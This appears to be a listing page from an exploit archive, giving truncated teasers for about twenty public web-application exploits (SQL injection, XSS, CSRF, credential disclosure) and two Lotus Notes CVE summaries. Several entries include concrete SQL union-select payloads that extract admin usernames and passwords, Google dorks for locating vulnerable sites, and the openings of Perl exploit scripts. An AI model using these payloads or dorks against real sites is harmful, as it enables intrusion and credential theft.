AJ Matrix DNA - SQL Injection

!/usr/bin/perl |------------------------------------------------------------------------------------------------------------------ | -Info: | -Name: AJ Matrix DNA | -Site: http://www.ajsquare.com/ajhome.php | -Bug: Sql Injection | -Found: by Br0ly | -BRAZIL D | -Contact: br0lydotCodeatgmaildotcom...

phpvidz 0.9.5 Administrative Credentials Disclosure

Exploit for php platform in category web applications =================================================== phpvidz 0.9.5 Administrative Credentials Disclosure =================================================== Researcher: Michael Brooks Affecting: phpvidz 0.9.5 Vulnerability: Administrative...

web-magik CMS SQL Injection Vulnerability

Exploit for php platform in category web applications ========================================= web-magik CMS SQL Injection Vulnerability ========================================= Vendor : http://web-magik.com/ prices : Not Yet:P Discovered by : cyberlog Site : Sekuritionline.net Channel :...

Pre Classified Listings SQL Injection

In The Name Of GOD + Exploit Title: Pre Classified Listings PHP SQL Injection Vulnerability + Date: 2010-11-14 + Author : Cru3l.b0y + Software Link: http://www.preproject.com/pclphp.asp + Price : 48.00$ + Contact : [email protected] + Website : WwW.PenTesters.IR + Greeting: Behzad, Ahmad,...

Joomla com_ijoomla_rss Persistent Xss Vulnerability

Exploit for php platform in category web applications ==================================================== Joomla comijoomlarss Persistent Xss Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'...

BKBilisim Portal SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================ BKBilisim Portal SQL Injection Vulnerability ============================================ Date: 05.09.10 Author: BARCOD3 Software Link: http://www.aspindir.com/Goster/5531 Version: v.1.0 Category::...

Live School Portal SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================== Live School Portal SQL Injection Vulnerability ============================================== Date: 05.09.10 Author: BARCOD3 Software Link: http://www.aspindir.com/Goster/5759 Version: v.1.1...

wizmall 6.4 - Cross-Site Request Forgery

wizmall 6.4 - Cross-Site Request Forgery Exploit Title: wizmall 6.4 CSRF Vulnerabilities Date: 08/10/2010 Author: pyw1414 Software Link: http://www.shop-wiz.com/board/main/view/root/wizmall01/159/0 Version: 6.4 UTF-8 For php Tested on: XP SP3 -= CSRF Exploit - Change Admin ID/PW =- Wizmall 6.4...

wizmall 6.4 CSRF Vulnerabilities

Exploit for php platform in category web applications ================================ wizmall 6.4 CSRF Vulnerabilities ================================ Author: pyw1414 Software Link: http://www.shop-wiz.com/board/main/view/root/wizmall01/159/0 Version: 6.4 UTF-8 For php Tested on: XP SP3 -= CSRF...

CMS Ignition SQL Injection

|------------------------------------------------| | neavorc@gmaildotcom | ================================================== + SQL Injection Vulnerability + Dorks: allinurl:"shop.htm?shopMGID=" + Bug in shop.htm?shopMGID + Exploit: http://www.site.com/shop.htm?shopMGID=XXXX see below python...

ECShop2. 5. x&2.6. x injection exploit-vulnerability warning-the black bar safety net

ECShop2. 5. x&2.6. x goodsscript.php no initialization SQL, leading to injection vulnerabilities Effect 2. 5. x and 2. 6. x,other versions not tested goodsscript. php44 line:injection / admin credentials disclosure exploit if emptyempty$GET'type' ... elseif $GET'type' == 'collection' ... $sql .=...

Yamamah Photo Gallery 1.00 - 'calbums' SQL Injection

Yamamah Photo Gallery 1.00 SQL Injection Vulnerability Author : CoBRa21 Script Home : http://www.yamamah.org/ Dork : "Powered By : Yamamah Version 1.00" SQL Injection: http://localhost/path/?calbums=-2 union select 0,1,2,3,4,groupconcatusername,0x3a,password,6,7,8,9,10,11,12,13 from admin--...

Creato Script - SQL Injection

Title: Creato Script SQL Injection Vulnerability Version: 2.1 Author: Mr.P3rfekT Software Site: http://www.creato.biz Tested on Lunix CVE : N/A Founded By Mr.P3rfekT Dork : " created by creato.biz " Helllo Allz. Exploit : http://site/mainpage.php?id=SQLi Poc Username: union select...

OSC Visitor Web Stats SQL Injection

Popular OSC add-on Visitor Web Stats is completely vulnerable to SQL injections. Although it uses request data i. e. the Accept-Language header, there's no escaping at all. This also applies to the extension's derivative for OSC 3, who's author completely inherited the insufficient code structure...

e-Webtech SQL Injection

e-webtech fixedpage.asp SQL Injection Vulnerability Author : Fl0riX Name : e-webtech Bug Type : SQL Injection Infection : Admin login bilgileri alinabilir. Demo Vuln : http:// smsj.ca/fixedpage.asp?id=SQL Inj. User Exploit:null+union+all+select+1,username+from+adminpassword Password...

NKINFOWEB - SQL Injection

NKINFOWEB - SQL Injection Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfowebv.species.rar Tested on: several linux versions =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ !/usr/bin/perl use strict; u...

NKINFOWEB - SQL Injection

Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfowebv.species.rar Tested on: several linux versions =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ !/usr/bin/perl use strict; use LWP::Simple; print "\n"...

Design/Logic Flaw

IBM Lotus Notes 7.0, 8.0, and 8.5 stores administrative credentials in cleartext in SURunAs.exe, which allows local users to obtain sensitive information by examining this file, aka SPR JSTN837SEG...

CVE-2010-1487

IBM Lotus Notes 7.0, 8.0, and 8.5 stores administrative credentials in cleartext in SURunAs.exe, which allows local users to obtain sensitive information by examining this file, aka SPR JSTN837SEG...

MusicBox 3.3 - SQL Injection

MusicBox 3.3 - SQL Injection !/usr/bin/perl use LWP::Simple; print "\n"; print "\n"; print " MusicBox v 3.3 SQL INJECTION EXPLOIT \n"; print " Author: Ctacok Russian \n"; print " Special for Antichat forum.antichat.ru and xakep.ru \n"; print "\n"; print "\n Usage: exploit.pl host path "; print "\...